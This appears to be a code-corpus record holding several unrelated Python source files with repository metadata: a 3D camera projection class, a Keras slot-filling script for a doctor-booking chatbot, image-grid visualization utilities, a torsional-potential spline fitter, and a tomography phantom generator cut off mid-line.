shaded_rgbas[0, :3],\n get_3d_vmob_start_corner(vmobject),\n get_3d_vmob_start_corner_unit_normal(vmobject),\n light_source_point,\n )\n shaded_rgbas[1, :3] = get_shaded_rgb(\n shaded_rgbas[1, :3],\n get_3d_vmob_end_corner(vmobject),\n get_3d_vmob_end_corner_unit_normal(vmobject),\n light_source_point,\n )\n return shaded_rgbas\n return rgbas\n\n def get_stroke_rgbas(\n self, vmobject, background=False\n ): # NOTE : DocStrings From parent\n return self.modified_rgbas(vmobject, vmobject.get_stroke_rgbas(background))\n\n def get_fill_rgbas(self, vmobject): # NOTE : DocStrings From parent\n return self.modified_rgbas(vmobject, vmobject.get_fill_rgbas())\n\n def get_mobjects_to_display(self, *args, **kwargs): # NOTE : DocStrings From parent\n mobjects = Camera.get_mobjects_to_display(self, *args, **kwargs)\n rot_matrix = self.get_rotation_matrix()\n\n def z_key(mob):\n if not (hasattr(mob, \"shade_in_3d\") and mob.shade_in_3d):\n return np.inf\n # Assign a number to a three dimensional mobjects\n # based on how close it is to the camera\n return np.dot(mob.get_z_index_reference_point(), rot_matrix.T)[2]\n\n return sorted(mobjects, key=z_key)\n\n def get_phi(self):\n \"\"\"Returns the Polar angle (the angle off Z_AXIS) phi.\n\n Returns\n -------\n float\n The Polar angle in radians.\n \"\"\"\n return self.phi_tracker.get_value()\n\n def get_theta(self):\n \"\"\"Returns the Azimuthal i.e the angle that spins the camera around the Z_AXIS.\n\n Returns\n -------\n float\n The Azimuthal angle in radians.\n \"\"\"\n return self.theta_tracker.get_value()\n\n def get_distance(self):\n \"\"\"Returns radial distance from ORIGIN.\n\n Returns\n -------\n float\n The radial distance from ORIGIN in MUnits.\n \"\"\"\n return self.distance_tracker.get_value()\n\n def get_gamma(self):\n \"\"\"Returns the rotation of the camera about the vector from the ORIGIN to the Camera.\n\n Returns\n -------\n float\n The angle of rotation of the camera about the vector\n from the ORIGIN to the Camera in radians\n \"\"\"\n return self.gamma_tracker.get_value()\n\n def set_phi(self, value):\n \"\"\"Sets the polar angle i.e the angle between Z_AXIS and Camera through ORIGIN in radians.\n\n Parameters\n ----------\n value : int, float\n The new value of the polar angle in radians.\n \"\"\"\n self.phi_tracker.set_value(value)\n\n def set_theta(self, value):\n \"\"\"Sets the azimuthal angle i.e the angle that spins the camera around Z_AXIS in radians.\n\n Parameters\n ----------\n value : int, float\n The new value of the azimuthal angle in radians.\n \"\"\"\n self.theta_tracker.set_value(value)\n\n def set_distance(self, value):\n \"\"\"Sets the radial distance between the camera and ORIGIN.\n\n Parameters\n ----------\n value : int, float\n The new radial distance.\n \"\"\"\n self.distance_tracker.set_value(value)\n\n def set_gamma(self, value):\n \"\"\"Sets the angle of rotation of the camera about the vector from the ORIGIN to the Camera.\n\n Parameters\n ----------\n value : int, float\n The new angle of rotation of the camera.\n \"\"\"\n self.gamma_tracker.set_value(value)\n\n def reset_rotation_matrix(self):\n \"\"\"Sets the value of self.rotation_matrix to\n the matrix corresponding to the current position of the camera\n \"\"\"\n self.rotation_matrix = self.generate_rotation_matrix()\n\n def get_rotation_matrix(self):\n \"\"\"Returns the matrix corresponding to the current position of the camera.\n\n Returns\n -------\n np.array\n The matrix corresponding to the current position of the camera.\n \"\"\"\n return self.rotation_matrix\n\n def generate_rotation_matrix(self):\n \"\"\"Generates a rotation matrix based off the current position of the camera.\n\n Returns\n -------\n np.array\n The matrix corresponding to the current position of the camera.\n \"\"\"\n phi = self.get_phi()\n theta = self.get_theta()\n gamma = self.get_gamma()\n matrices = [\n rotation_about_z(-theta - 90 * DEGREES),\n rotation_matrix(-phi, RIGHT),\n rotation_about_z(gamma),\n ]\n result = np.identity(3)\n for matrix in matrices:\n result = np.dot(matrix, result)\n return result\n\n def project_points(self, points):\n \"\"\"Applies the current rotation_matrix as a projection\n matrix to the passed array of points.\n\n Parameters\n ----------\n points : np.array, list\n The list of points to project.\n\n Returns\n -------\n np.array\n The points after projecting.\n \"\"\"\n frame_center = self.frame_center\n distance = self.get_distance()\n rot_matrix = self.get_rotation_matrix()\n\n points = points - frame_center\n points = np.dot(points, rot_matrix.T)\n zs = points[:, 2]\n for i in 0, 1:\n if self.exponential_projection:\n # Proper projedtion would involve multiplying\n # x and y by d / (d-z). But for points with high\n # z value that causes weird artifacts, and applying\n # the exponential helps smooth it out.\n factor = np.exp(zs / distance)\n lt0 = zs < 0\n factor[lt0] = distance / (distance - zs[lt0])\n else:\n factor = distance / (distance - zs)\n factor[(distance - zs) < 0] = 10 ** 6\n # clip_in_place(factor, 0, 10**6)\n points[:, i] *= factor\n points = points + frame_center\n return points\n\n def project_point(self, point):\n \"\"\"Applies the current rotation_matrix as a projection\n matrix to the passed point.\n\n Parameters\n ----------\n point : list, np.array\n The point to project.\n\n Returns\n -------\n np.array\n The point after projection.\n \"\"\"\n return self.project_points(point.reshape((1, 3)))[0, :]\n\n def transform_points_pre_display(\n self, mobject, points\n ): # TODO: Write Docstrings for this Method.\n points = super().transform_points_pre_display(mobject, points)\n fixed_orientation = mobject in self.fixed_orientation_mobjects\n fixed_in_frame = mobject in self.fixed_in_frame_mobjects\n\n if fixed_in_frame:\n return points\n if fixed_orientation:\n center_func = self.fixed_orientation_mobjects[mobject]\n center = center_func()\n new_center = self.project_point(center)\n return points + (new_center - center)\n else:\n return self.project_points(points)\n\n def add_fixed_orientation_mobjects(\n self, *mobjects, use_static_center_func=False, center_func=None\n ):\n \"\"\"This method allows the mobject to have a fixed orientation,\n even when the camera moves around.\n E.G If it was passed through this method, facing the camera, it\n will continue to face the camera even as the camera moves.\n Highly useful when adding labels to graphs and the like.\n\n Parameters\n ----------\n *mobjects : Mobject\n The mobject whose orientation must be fixed.\n use_static_center_func : bool, optional\n Whether or not to use the function that takes the mobject's\n center as centerpoint, by default False\n center_func : func, optional\n The function which returns the centerpoint\n with respect to which the mobjec will be oriented, by default None\n \"\"\"\n # This prevents the computation of mobject.get_center\n # every single time a projetion happens\n def get_static_center_func(mobject):\n point = mobject.get_center()\n return lambda: point\n\n for mobject in mobjects:\n if center_func:\n func = center_func\n elif use_static_center_func:\n func = get_static_center_func(mobject)\n else:\n func = mobject.get_center\n for submob in mobject.get_family():\n self.fixed_orientation_mobjects[submob] = func\n\n def add_fixed_in_frame_mobjects(self, *mobjects):\n \"\"\"This method allows the mobject to have a fixed position,\n even when the camera moves around.\n E.G If it was passed through this method, at the top of the frame, it\n will continue to be displayed at the top of the frame.\n\n Highly useful when displaying Titles or formulae or the like.\n\n Parameters\n ----------\n **mobjects : Mobject\n The mobject to fix in frame.\n \"\"\"\n for mobject in extract_mobject_family_members(mobjects):\n self.fixed_in_frame_mobjects.add(mobject)\n\n def remove_fixed_orientation_mobjects(self, *mobjects):\n \"\"\"If a mobject was fixed in its orientation by passing it through\n :meth:`.add_fixed_orientation_mobjects`, then this undoes that fixing.\n The Mobject will no longer have a fixed orientation.\n\n Parameters\n ----------\n mobjects : :class:`Mobject`\n The mobjects whose orientation need not be fixed any longer.\n \"\"\"\n for mobject in self.extract_mobject_family_members(mobjects):\n if mobject in self.fixed_orientation_mobjects:\n self.fixed_orientation_mobjects.remove(mobject)\n\n def remove_fixed_in_frame_mobjects(self, *mobjects):\n \"\"\"If a mobject was fixed in frame by passing it through\n :meth:`.add_fixed_in_frame_mobjects`, then this undoes that fixing.\n The Mobject will no longer be fixed in frame.\n\n Parameters\n ----------\n mobjects : :class:`Mobject`\n The mobjects which need not be fixed in frame any longer.\n \"\"\"\n for mobject in self.extract_mobject_family_members(mobjects):\n if mobject in self.fixed_in_frame_mobjects:\n self.fixed_in_frame_mobjects.remove(mobject)\n" ]
[ [ "numpy.identity", "numpy.array", "numpy.dot", "numpy.exp" ] ]
zuxfoucault/DoctorBot_demo
[ "6be98bbf380d14bb789d30a137ded3b51b3f31fd" ]
[ "brain/brain_libs/slot_model/slot_model.py" ]
[ "import tensorflow as tf\nimport data_helper\nimport numpy as np\nimport jieba\nimport os\nimport re\nfrom keras.models import load_model\nfrom metrics.accuracy import conlleval\n\nif not os.path.exists(\"data\"):\n os.makedirs(\"data\")\n\nsentence_file = \"data/training_sentence.txt\"\nslot_file = \"data/training_slot.txt\"\nsentence_training_file = \"data/sentence_training.txt\"\nsentence_developing_file = \"data/sentence_developing.txt\"\nslot_training_file = \"data/slot_training.txt\"\nslot_developing_file = \"data/slot_developing.txt\"\n\nmodel_file = 'model/GRU_model_1.h5'\n\n\nclass SlotFilling(object):\n def __init__(self):\n # Prepare data\n (self.sentence_train,\n self.slot_train,\n self.sentence_dev,\n self.slot_dev,\n self.vocab_sentence,\n self.vocab_slot) = data_helper.prepare_data(\n \"data\",\n sentence_training_file,\n slot_training_file,\n sentence_developing_file,\n slot_developing_file,\n from_vocabulary_size=2000,\n to_vocabulary_size=2000,\n tokenizer=None)\n\n def get_slot(self, sentence):\n # Dictionaries\n w2id_sentence, id2w_sentence = data_helper.initialize_vocabulary(self.vocab_sentence)\n w2id_slot, id2w_slot = data_helper.initialize_vocabulary(self.vocab_slot)\n\n jieba.load_userdict(\"../data_resource/doctor_dict.txt\")\n jieba.load_userdict(\"../data_resource/disease_dict.txt\")\n jieba.load_userdict(\"../data_resource/division_dict.txt\")\n jieba.load_userdict(\"../data_resource/week_dict.txt\")\n jieba.load_userdict(\"../data_resource/other_dict.txt\")\n\n model = load_model(model_file)\n\n _WORD_FILTER = re.compile(\"([.,!?\\\"':;)(])\")\n sentence = _WORD_FILTER.sub('', sentence)\n if not sentence.isalpha():\n return (\"sentence should be words!\")\n seg_gen = list(jieba.cut(sentence, cut_all=False))\n _sentence = \" \".join(seg_gen)\n # Get token-ids for the input sentence.\n token_ids = data_helper.sentence_to_token_ids(tf.compat.as_bytes(_sentence), w2id_sentence)\n # Add GO symbol at the end of sentence\n if data_helper.GO_ID not in token_ids:\n token_ids.append(data_helper.GO_ID)\n pred = model.predict_on_batch(np.array(token_ids)[np.newaxis, :])\n _pred = np.argmax(pred,-1)[0].tolist()\n # If there is an EOS symbol in outputs, cut them at that point.\n if data_helper.EOS_ID in _pred:\n _pred = _pred[:_pred.index(data_helper.EOS_ID)]\n slot_list = [tf.compat.as_str(id2w_slot[slot_pred]) for slot_pred in _pred]\n\n slot_dictionary = {'disease': '', 'division': '', 'doctor': '', 'time': ''}\n for index, item in enumerate(slot_list):\n if item == 'b-disease':\n slot_dictionary['disease'] = seg_gen[index]\n elif item == 'b-division':\n slot_dictionary['division'] = seg_gen[index]\n elif item == 'b-doctor':\n slot_dictionary['doctor'] = seg_gen[index]\n elif item == 'b-time':\n slot_dictionary['time'] = seg_gen[index]\n return slot_dictionary\n\n\ndef main():\n while True:\n sentence = input('your sentence: ')\n slot_dictionary = SlotFilling().get_slot(sentence)\n for slot, value in slot_dictionary.items():\n print(slot, \": \", value)\n\nif __name__ == '__main__':\n main()\n" ]
[ [ "tensorflow.compat.as_str", "tensorflow.compat.as_bytes", "numpy.array", "numpy.argmax" ] ]
nmichlo/msc-research
[ "625e57eca77bbfbc4728ccebdb0733e1613bd258" ]
[ "disent/util/visualize/vis_util.py" ]
[ "# ~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~\n# MIT License\n#\n# Copyright (c) 2021 Nathan Juraj Michlo\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n# ~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~\n\nimport logging\nimport warnings\nfrom functools import lru_cache\nfrom typing import List\nfrom typing import Optional\nfrom typing import Sequence\nfrom typing import Tuple\nfrom typing import Union\n\nimport numpy as np\nimport scipy.stats\nimport torch\nfrom PIL import Image\n\nfrom disent.util import to_numpy\n\n\nlog = logging.getLogger(__name__)\n\n\n# ========================================================================= #\n# operations on Images/Animations #\n# ========================================================================= #\n\n\n# get bg color -- TODO: add support for more\n_BG_COLOR_DTYPE_MAP = {\n 'uint8': 127, np.uint8: 127, torch.uint8: 127, np.dtype('uint8'): 127,\n 'float16': 0.5, np.float16: 0.5, torch.float16: 0.5, np.dtype('float16'): 0.5,\n 'float32': 0.5, np.float32: 0.5, torch.float32: 0.5, np.dtype('float32'): 0.5,\n 'float64': 0.5, np.float64: 0.5, torch.float64: 0.5, np.dtype('float64'): 0.5,\n}\n\n\ndef make_image_grid(images: Sequence[np.ndarray], pad: int = 8, border: bool = True, bg_color=None, num_cols: Optional[int] = None):\n \"\"\"\n Convert a list of images into a single image that is a grid of those images.\n :param images: list of input images, all the same size: (I, H, W, C) or (I, H, W)\n :param pad: the number of pixels between images\n :param border: if there should be a border around the grid\n :param bg_color: the background color to use for padding (can be a float, int or RGB tuple)\n :param num_cols: the number of output columns in the grid. None for auto square, -1 for rows==1, or > 0 for that many cols.\n :return: single output image: (H', W') or (H', W', C)\n \"\"\"\n # first, second, third channels are the (H, W, C)\n # get image sizes\n img_shape, ndim = np.array(images[0].shape), images[0].ndim\n assert ndim == 2 or ndim == 3, f'images have wrong number of channels: {img_shape}'\n assert np.all(img_shape == img.shape for img in images), 'Images are not the same shape!'\n # get image size and channels\n img_size = img_shape[:2]\n if ndim == 3:\n assert (img_shape[2] == 1) or (img_shape[2] == 3), f'Invalid number of channels for an image: {img_shape}'\n # get bg color\n if bg_color is None:\n bg_color = _BG_COLOR_DTYPE_MAP[images[0].dtype]\n # grid sizes\n num_rows, num_cols = _get_grid_size(len(images), num_cols=num_cols)\n grid_size = (img_size + pad) * [num_rows, num_cols] + (pad if border else -pad)\n # image sizes including padding on one side\n deltas = img_size + pad\n offset = pad if border else 0\n # make image\n grid = np.full_like(images, fill_value=bg_color, shape=(*grid_size, *img_shape[2:]))\n # fill image\n for i, img in enumerate(images):\n y0, x0 = offset + deltas * [i // num_cols, i % num_cols]\n y1, x1 = img_size + [y0, x0]\n grid[y0:y1, x0:x1, ...] = img\n return grid\n\n\ndef make_animated_image_grid(list_of_animated_images: Sequence[np.ndarray], pad: int = 8, border: bool = True, bg_color=None, num_cols: Optional[int] = None):\n \"\"\"\n :param list_of_animated_images: list of input images, with the second dimension the number of frames: : (I, F, H, W, C) or (I, F, H, W)\n :param pad: the number of pixels between images\n :param border: if there should be a border around the grid\n :param bg_color: the background color to use for padding (can be a float, int or RGB tuple)\n :param num_cols: the number of output columns in the grid. None for auto square, -1 for rows==1, or > 0 for that many cols.\n :return: animated output image: (F, H', W') or (F, H', W', C)\n \"\"\"\n # first channel is the image (I)\n # second channel is the frame (F)\n # third, fourth, fifth channels are the (H, W, C)\n # -- (I, F, H, W, C)\n frames = []\n for list_of_images in zip(*list_of_animated_images):\n frames.append(make_image_grid(list_of_images, pad=pad, border=border, bg_color=bg_color, num_cols=num_cols))\n return to_numpy(frames)\n\n\n# ========================================================================= #\n# Calculations/Heuristics #\n# ========================================================================= #\n\n\ndef _get_grid_size(n: int, num_cols: Optional[int] = None):\n \"\"\"\n Determine the number of rows and columns, given the total number of elements n.\n - if num_cols is None: rows x cols is as square as possible\n - if num_cols is a number: minimum number of rows needed is returned.\n - if num_cols <= 0: only 1 row is returned\n :return: (num_rows, num_cols)\n \"\"\"\n if num_cols is None:\n num_cols = int(np.ceil(n ** 0.5))\n elif num_cols <= 0:\n num_cols = n\n num_rows = (n + num_cols - 1) // num_cols\n return num_rows, num_cols\n\n\n# ========================================================================= #\n# Factor Cycle Generators #\n# ========================================================================= #\n\n\ndef _get_interval_factor_traversal(factor_size: int, num_frames: int, start_index: int = 0):\n \"\"\"\n Cycles through the state space in a single cycle.\n eg. num_indices=5, num_frames=7 returns: [0,1,1,2,3,3,4]\n eg. num_indices=4, num_frames=7 returns: [0,0,1,2,2,2,3] # TODO: this result is weird\n \"\"\"\n grid = np.linspace(0, factor_size - 1, num=num_frames, endpoint=True)\n grid = np.int64(np.around(grid))\n grid = (start_index + grid) % factor_size\n return grid\n\n\ndef _get_cycle_factor_traversal(factor_size: int, num_frames: int, start_index: int = 0):\n \"\"\"\n Cycles through the state space in a single cycle.\n eg. num_indices=5, num_frames=7 returns: [0,1,3,4,3,2,1]\n eg. num_indices=4, num_frames=7 returns: [0,1,2,3,2,2,0]\n \"\"\"\n assert start_index == 0, f'cycle factor traversal mode only supports start_index==0, got: {repr(start_index)}'\n grid = _get_interval_factor_traversal(factor_size=factor_size, num_frames=num_frames, start_index=0)\n grid = np.concatenate([grid[0::2], grid[1::2][::-1]])\n return grid\n\n\ndef _get_cycle_factor_traversal_from_start(factor_size: int, num_frames: int, start_index: int = 0, ends: bool = False):\n all_idxs = np.array([\n *range(start_index, factor_size - (1 if ends else 0)),\n *reversed(range(0, factor_size)),\n *range(1 if ends else 0, start_index),\n ])\n selected_idxs = _get_interval_factor_traversal(factor_size=len(all_idxs), num_frames=num_frames, start_index=0)\n grid = all_idxs[selected_idxs]\n # checks\n assert all_idxs[0] == start_index, 'Please report this bug!'\n assert grid[0] == start_index, 'Please report this bug!'\n return grid\n\n\ndef _get_cycle_factor_traversal_from_start_ends(factor_size: int, num_frames: int, start_index: int = 0, ends: bool = True):\n return _get_cycle_factor_traversal_from_start(factor_size=factor_size, num_frames=num_frames, start_index=start_index, ends=ends)\n\n\n\n_FACTOR_TRAVERSALS = {\n 'interval': _get_interval_factor_traversal,\n 'cycle': _get_cycle_factor_traversal,\n 'cycle_from_start': _get_cycle_factor_traversal_from_start,\n 'cycle_from_start_ends': _get_cycle_factor_traversal_from_start_ends,\n}\n\n\ndef get_idx_traversal(factor_size: int, num_frames: int, mode: str = 'interval', start_index: int = 0):\n try:\n traversal_fn = _FACTOR_TRAVERSALS[mode]\n except KeyError:\n raise KeyError(f'Invalid factor traversal mode: {repr(mode)}')\n return traversal_fn(factor_size=factor_size, num_frames=num_frames, start_index=start_index)\n\n\n# ========================================================================= #\n# Cycle Generators | FROM: disentanglement_lib #\n# ========================================================================= #\n\n\ndef cycle_gaussian(starting_value, num_frames, loc=0., scale=1.):\n \"\"\"\n Cycles through the quantiles of a Gaussian in a single cycle.\n # ~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ #\n Copyright 2018 The DisentanglementLib Authors. All rights reserved.\n Licensed under the Apache License, Version 2.0\n https://github.com/google-research/disentanglement_lib\n # ~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ #\n \"\"\"\n starting_prob = scipy.stats.norm.cdf(starting_value, loc=loc, scale=scale)\n grid = np.linspace(starting_prob, starting_prob + 2., num=num_frames, endpoint=False)\n grid -= np.maximum(0, 2 * grid - 2)\n grid += np.maximum(0, -2 * grid)\n grid = np.minimum(grid, 0.999)\n grid = np.maximum(grid, 0.001)\n return np.array([scipy.stats.norm.ppf(i, loc=loc, scale=scale) for i in grid])\n\n\ndef cycle_interval(starting_value, num_frames, min_val, max_val):\n \"\"\"\n Cycles through the state space in a single cycle.\n # ~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ #\n Copyright 2018 The DisentanglementLib Authors. All rights reserved.\n Licensed under the Apache License, Version 2.0\n https://github.com/google-research/disentanglement_lib\n # ~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ #\n \"\"\"\n starting_in_01 = (starting_value - min_val) / (max_val - min_val)\n starting_in_01 = np.nan_to_num(starting_in_01) # handle division by zero, prints warning\n grid = np.linspace(starting_in_01, starting_in_01 + 2., num=num_frames, endpoint=False)\n grid -= np.maximum(0, 2 * grid - 2)\n grid += np.maximum(0, -2 * grid)\n return grid * (max_val - min_val) + min_val\n\n\n# ========================================================================= #\n# END #\n# ========================================================================= #\n" ]
[ [ "numpy.concatenate", "numpy.array", "numpy.ceil", "numpy.nan_to_num", "numpy.minimum", "numpy.maximum", "numpy.all", "numpy.around", "numpy.linspace", "numpy.dtype", "numpy.full_like" ] ]
snelliott/automol
[ "19d9b0402568170ae5ca0adecb460d36f258a9bd" ]
[ "automol/pot/_fitter.py" ]
[ "\"\"\"\n Handle fits to potentials\n\"\"\"\n\n\nimport numpy\nfrom scipy.interpolate import interp1d\n\n\ndef spline_fit(pot_dct, min_thresh=-0.0001, max_thresh=50.0):\n \"\"\" Get a physical hindered rotor potential via a series of spline fits\n \"\"\"\n\n pot = list(pot_dct.values())\n\n # Initialize a variable for the size of the potential\n lpot = len(pot)+1\n pot.append(0.0)\n\n # Print warning messages\n print_pot = False\n if any(val > max_thresh for val in pot):\n print_pot = True\n max_pot = max(pot)\n print('Warning: Found pot val of {0:.2f}'.format(max_pot),\n ' which is larger than',\n 'the typical maximum for a torsional potential')\n # reset any negative values for the first grid point to 0.\n if pot[0] < 0.:\n print('ERROR: The first potential value should be 0.')\n pot[0] = 0.\n if any(val < min_thresh for val in pot):\n print_pot = True\n min_pot = min(pot)\n print('Warning: Found pot val of {0:.2f}'.format(min_pot),\n ' which is below',\n '{0} kcal. Refit w/ positives'.format(min_thresh))\n\n if print_pot:\n print('Potential before spline:', pot)\n\n # Build a potential list from only successful calculations\n # First replace high potential values with max_thresh\n # Then replace any negative potential values cubic spline fit values\n idx_success = []\n pot_success = []\n for idx in range(lpot):\n if pot[idx] < 600. and pot[idx] > min_thresh:\n idx_success.append(idx)\n if pot[idx] < max_thresh:\n pot_success.append(pot[idx])\n else:\n pot_success.append(max_thresh)\n\n if len(pot_success) > 3:\n # Build a new potential list using a spline fit of the HR potential\n pot_spl = interp1d(\n numpy.array(idx_success), numpy.array(pot_success), kind='cubic')\n for idx in range(lpot):\n pot[idx] = float(pot_spl(idx))\n\n # Do second spline fit of only positive values if any negative values found\n if any(val < min_thresh for val in pot):\n print('Still found negative potential values after first spline')\n print('Potential after spline:', pot)\n if len(pot_success) > 3:\n x_pos = numpy.array([i for i in range(lpot)\n if pot[i] >= min_thresh])\n y_pos = numpy.array([pot[i] for i in range(lpot)\n if pot[i] >= min_thresh])\n pos_pot_spl = interp1d(x_pos, y_pos, kind='cubic')\n pot_pos_fit = []\n for idx in range(lpot):\n pot_pos_fit.append(pos_pot_spl(idx))\n else:\n pot_pos_fit = []\n for idx in range(lpot):\n pot_pos_fit.append(pot[idx])\n\n print('Potential after spline:', pot_pos_fit)\n # Perform second check to see if negative potentials have been fixed\n if any(val < min_thresh for val in pot_pos_fit):\n print('Still found negative potential values after second spline')\n print('Replace with linear interpolation of positive values')\n neg_idxs = [i for i in range(lpot) if pot_pos_fit[i] < min_thresh]\n clean_pot = []\n for i in range(lpot):\n if i in neg_idxs:\n # Find the indices for positive vals around negative value\n idx_0 = i - 1\n while idx_0 in neg_idxs:\n idx_0 = idx_0 - 1\n for j in range(i, lpot):\n if pot_pos_fit[j] >= min_thresh:\n idx_1 = j\n break\n # Get a new value for this point on the potential by\n # doing a linear interp of positives\n interp_val = (\n pot_pos_fit[idx_0] * (1.0-((i-idx_0)/(idx_1-idx_0))) +\n pot_pos_fit[idx_1] * ((i-idx_0)/(idx_1-idx_0))\n )\n clean_pot.append(interp_val)\n else:\n clean_pot.append(pot_pos_fit[i])\n final_potential = clean_pot.copy()\n\n else:\n final_potential = pot_pos_fit.copy()\n\n else:\n final_potential = pot.copy()\n\n final_potential = final_potential[:-1]\n\n fin_dct = {}\n for i, val in enumerate(final_potential):\n val_fin = min(val, max_thresh)\n fin_dct[(i,)] = val_fin\n\n return fin_dct\n\n\n# def spline_fitter(xarr, yarr):\n# \"\"\"\n# \"\"\"\n# x_pos = numpy.array([i for i in range(lpot)\n# if pot[i] >= min_thresh])\n# y_pos = numpy.array([pot[i] for i in range(lpot)\n# if pot[i] >= min_thresh])\n# pos_pot_spl = interp1d(x_pos, y_pos, kind='cubic')\n#\n#\n# def linear_fitter(pot):\n# \"\"\" Do a one-dimensional linear fitter\n# \"\"\"\n#\n# neg_idxs = [i for i in range(lpot) if pot_pos_fit[i] < min_thresh]\n# clean_pot = []\n# if i in neg_idxs:\n# # Find the indices for positive vals around negative value\n# idx_0 = i - 1\n# while idx_0 in neg_idxs:\n# idx_0 = idx_0 - 1\n# for j in range(i, lpot):\n# if pot_pos_fit[j] >= min_thresh:\n# idx_1 = j\n# break\n# pot = _linear_fitter(pot)\n#\n#\n# def _linear_fit(pot, idx_0, idx_1):\n# \"\"\" Linear fitter\n# \"\"\"\n# interp_val = (\n# pot[idx_0] * (1.0-((i-idx_0)/(idx_1-idx_0))) +\n# pot[idx_1] * ((i-idx_0)/(idx_1-idx_0))\n# )\n#\n#\n# def _re_set_high_values(pot, max_thresh=600., min_thresh=-0.0001):\n# \"\"\" Rebuild the potential\n# \"\"\"\n#\n# idx_success = []\n# pot_success = []\n# for idx in range(lpot):\n# if pot[idx] < 600. and pot[idx] > min_thresh:\n# idx_success.append(idx)\n# if pot[idx] < max_thresh:\n# pot_success.append(pot[idx])\n# else:\n# pot_success.append(max_thresh)\n#\n# return pot\n" ]
[ [ "numpy.array", "scipy.interpolate.interp1d" ] ]
ZeliangSu/tomobank
[ "ca34f040f426841b9bd71344fa2f0c248eedd875" ]
[ "docs/demo/phantom_00002.py" ]
[ "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Dec 3 15:35:30 2016\n\n@author: decarlo\n\"\"\"\nfrom __future__ import (absolute_import, division, print_function,\n unicode_literals)\n \nfrom xdesign import *\n\nimport os\nimport time\nimport pytz\nimport datetime\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\nimport dxfile.dxtomo as dx\nimport dxchange\n\ndef iso_time():\n # set the experiment date \n now = datetime.datetime.today()\n\n # set iso format time\n central = pytz.timezone('US/Central')\n local_time = central.localize(now)\n local_time_iso = local_time.isoformat()\n \n return local_time_iso\n\n\nif __name__ == '__main__':\n\n # Set tomobank id\n tomobank_id = 'phantom_00002'\n\n # Set path to the micro-CT data to convert.\n fname = 'tomobank/phantoms/' + tomobank_id + '/' + tomobank_id + '.h5' \n\n # Set meta-data\n experimenter_affiliation=\"Argonne National Laboratory\" \n experimenter_email=\"[email protected]\"\n instrument_name=\"XDesign VERSION:0.2.0.dev0+1d67599b8f104ebded86bac98100dbf15e251a66 FUNCTION: SlantedSquares(count=16, angle=5/360*2*np.pi, gap=0.01), prop='mass_atten'\" \n sample_name = tomobank_id\n\n # Phantom generation start time\n start_date = iso_time()\n\n phantom = UnitCircle(radius=0.4, mass_atten=1)\n\n ccd_x = 256 \n ccd_y = 256\n n_proj = 512\n \n step = 1. / ccd_x\n prb = Probe(Point([step / 2., -10]), Point([step / 2., 10]), step)\n\n\n n_dark = 1\n n_white = 1\n dark = np.zeros((n_dark, ccd_y, ccd_x)) # Array filled with zeros\n flat = np.ones((n_white, ccd_y, ccd_x)) # Array filled with ones\n\n sino, probe = sinogram(n_proj, ccd_x, phantom)\n proj = np.expand_dims(sino, 1)\n\n # Theta\n theta_step = np.pi / n_proj\n theta_step_deg = theta_step * 180./np.pi\n theta = np.arange(0, 180., 180. / n_proj)\n\n # Set data collection angles as equally spaced between 0-180 degrees.\n start_angle = 0\n start_angle_unit = 'deg'\n end_angle = 180\n end_angle_unit = 'deg'\n angular_step_unit = 'deg'\n\n # Phantom generation end time \n end_date = iso_time()\n \n # Write ground_truth\n ground_truth = discrete_phantom(phantom, ccd_x, prop='mass_atten')\n fname_gt='tomobank/phantoms/' + tomobank_id + '/' + tomobank_id + '_ground_truth'\n dxchange.write_tiff(ground_truth, fname=fname_gt, dtype='float32')\n\n # Save into a data-exchange file.\n if os.path.isfile(fname):\n print (\"Data Exchange file already exists: \", fname)\n else:\n # Create new folder.\n dirPath = os.path.dirname(fname)\n if not os.path.exists(dirPath):\n os.makedirs(dirPath)\n\n # Open DataExchange file\n f = dx.File(fname, mode='w')\n \n # Write the Data Exchange HDF5 file.\n f.add_entry(dx.Entry.experimenter(affiliation={'value': experimenter_affiliation}))\n f.add_entry(dx.Entry.experimenter(email={'value': experimenter_email}))\n f.add_entry(dx.Entry.instrument(name={'value': instrument_name}))\n f.add_entry(dx.Entry.sample(name={'value': sample_name}))\n\n f.add_entry(dx.Entry.data(data={'value': proj, 'units':'counts'}))\n f.add_entry(dx.Entry.data(data_white={'value': flat, 'units':'counts'}))\n f.add_entry(dx.Entry.data(data_dark={'value': dark, 'units':'counts'}))\n f.add_entry(dx.Entry.data(theta={'value': theta, 'units':'degrees'}))\n f.add_entry(dx.Entry.data(ground_truth={'value': ground_truth, 'units':'counts'}))\n\n f.add_entry(dx.Entry.acquisition(start_date={'value': start_date}))\n f.add_entry(dx.Entry.acquisition(end_date={'value': end_date}))\n\n f.add_entry(dx.Entry.acquisition_setup(rotation_start_angle={'value': start_angle, 'unit': start_angle_unit}))\n f.add_entry(dx.Entry.acquisition_setup(rotation_end_angle={'value': end_angle, 'unit': end_angle_unit}))\n f.add_entry(dx.Entry.acquisition_setup(angular_step={'value': theta_step_deg, 'unit': 